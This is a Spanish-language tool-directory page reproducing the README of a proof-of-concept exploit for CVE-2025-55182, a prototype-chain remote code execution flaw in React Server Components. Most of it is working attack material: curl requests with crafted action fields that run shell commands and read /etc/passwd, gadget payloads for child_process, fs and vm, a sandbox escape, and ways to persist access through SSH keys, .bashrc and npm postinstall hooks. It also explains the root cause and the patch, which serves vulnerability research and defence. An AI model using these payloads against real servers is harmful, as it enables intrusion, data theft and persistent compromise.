Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182-poc — Exploit de prueba de concepto para CVE-2025-55182, que demuestra la ejecución remota de código a través de una vulnerabilidad en la cadena de prototipos en React Server Components. Incluye múltiples gadgets de RCE y ataques de persistencia. | Kitploit
Herramientas/GitHubGitHub/ducducuc111/cve-2025-55182-poc
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHub
ducducuc111/cve-2025-55182-poc

CVE-2025-55182-poc

Exploit de prueba de concepto para CVE-2025-55182, que demuestra la ejecución remota de código a través de una vulnerabilidad en la cadena de prototipos en React Server Components. Incluye múltiples gadgets de RCE y ataques de persistencia.

Ver Repositorio
4hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 - Vulnerabilidad de cadena de prototipos de React Server Components

Este POC demuestra CVE-2025-55182 utilizando el código vulnerable real de [email protected].

Inicio rápido

root@kitploit:~
# Instalar dependencias
npm install

# Iniciar servidor vulnerable (puerto 3002)
npm start

# Ejecutar exploit RCE
npm run exploit

Salida esperada

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

Scripts NPM

root@kitploit:~
# Servidores
npm start              # Iniciar servidor principal (server-realistic.js, puerto 3002)
npm run start:legacy   # Iniciar servidor heredado (server.js, puerto 3002)

# Exploits
npm run exploit            # Demo RCE (usa vm, funciona con cualquier: vm, child_process, fs)
npm run exploit:all        # Probar todos los gadgets
npm run exploit:persistence # Ataques de persistencia (solo fs)

Probar gadgets individuales

root@kitploit:~
# Iniciar servidor primero
npm start

# Leer archivo con fs
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Ejecutar comando
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Ejecutar código con vm
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Acceder a la cadena de prototipos
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

Archivos clave

Servidores

ArchivoPuertoDescripción
src/server-realistic.js3002Servidor principal - simula un bundle webpack con módulos comunes (fs, vm, child_process)
src/server.js3002Servidor heredado (usa require directo)

Scripts de exploit

ArchivoDescripción
exploit-rce-v4.jsRCE primario mediante vm#runInThisContext
exploit-all-gadgets.jsPrueba todos los gadgets RCE (vm, child_process, fs)
exploit-persistence.jsAtaques de persistencia (claves SSH, .bashrc)

Cómo funciona server-realistic.js

Simula un bundle webpack real donde las aplicaciones suelen incluir módulos peligrosos a través de dependencias:

root@kitploit:~
// Módulos agrupados (lo que se incluye al usar paquetes comunes)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* acciones del servidor del usuario */ },
  'fs': require('fs'),           // vía fs-extra, gray-matter, multer
  'child_process': require('child_process'), // vía execa, shelljs, puppeteer
  'vm': require('vm'),           // vía ejs, pug, handlebars
  'util': require('util'),
};

La función __webpack_require__ solo carga módulos desde BUNDLED_MODULES, simulando el comportamiento real de webpack.

La vulnerabilidad

Causa raíz

En requireModule(), las exportaciones se acceden mediante notación de corchetes sin verificación de hasOwnProperty:

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // ¡Accede a la cadena de prototipos!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

Vector de ataque

  1. Enviar $ACTION_REF_0 con metadatos de acción vinculados
  2. id: 'vm#runInThisContext' carga el módulo vm, accede a la exportación runInThisContext
  3. El array bound se convierte en argumentos de la función
  4. Cuando se llama a la acción: runInThisContext(CODE) ejecuta código arbitrario

Todos los gadgets RCE verificados

GadgetEstadoDescripción
vm#runInThisContext✓Ejecuta JS arbitrario en el contexto actual
vm#runInNewContext✓Ejecuta en "sandbox" (fácil de escapar)
child_process#execSync✓Ejecución directa de comandos de shell
child_process#execFileSync✓Ejecuta archivos binarios
child_process#spawnSync✓Genera proceso (devuelve objeto)
fs#readFileSync✓Lee archivos arbitrarios
fs#writeFileSync✓Escribe archivos arbitrarios

Ejemplos de payload de gadgets

Ejecutar comando de shell (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

Leer archivos sensibles:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

Escribir archivos en disco:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

Ejecutar JavaScript arbitrario:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

Escape de sandbox (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

Rutas de ataque alternativas

¿Necesitas vm o child_process?

Para RCE directo: Sí, necesitas uno de:

  • módulo vm (runInThisContext, runInNewContext)
  • módulo child_process (execSync, execFileSync, spawnSync)

Para RCE indirecto (solo fs): ¡No! Con solo fs puedes:

  • Escribir en ~/.ssh/authorized_keys → acceso SSH
  • Agregar a ~/.bashrc → ejecución de código en el próximo inicio de sesión
  • Sobrescribir node_modules/* → RCE al reiniciar la aplicación
  • Modificar postinstall en package.json → RCE en la próxima instalación de npm

Resultados de comparación

VersiónAtaqueResultado
React 19.0.0vm#runInThisContext✓ RCE logrado
React 19.2.1vm#runInThisContext✗ Bloqueado

Probar la versión parcheada

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Los ataques fallarán

Paquetes npm vulnerables

Consulta VULNERABLE-PACKAGES.md para una investigación sobre paquetes npm populares que incluyen módulos peligrosos:

MóduloDescargas semanalesPaquetes populares
fs145M+fs-extra, gray-matter, multer, sharp
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2

Versiones afectadas

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

Versiones corregidas

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
Descargar herramienta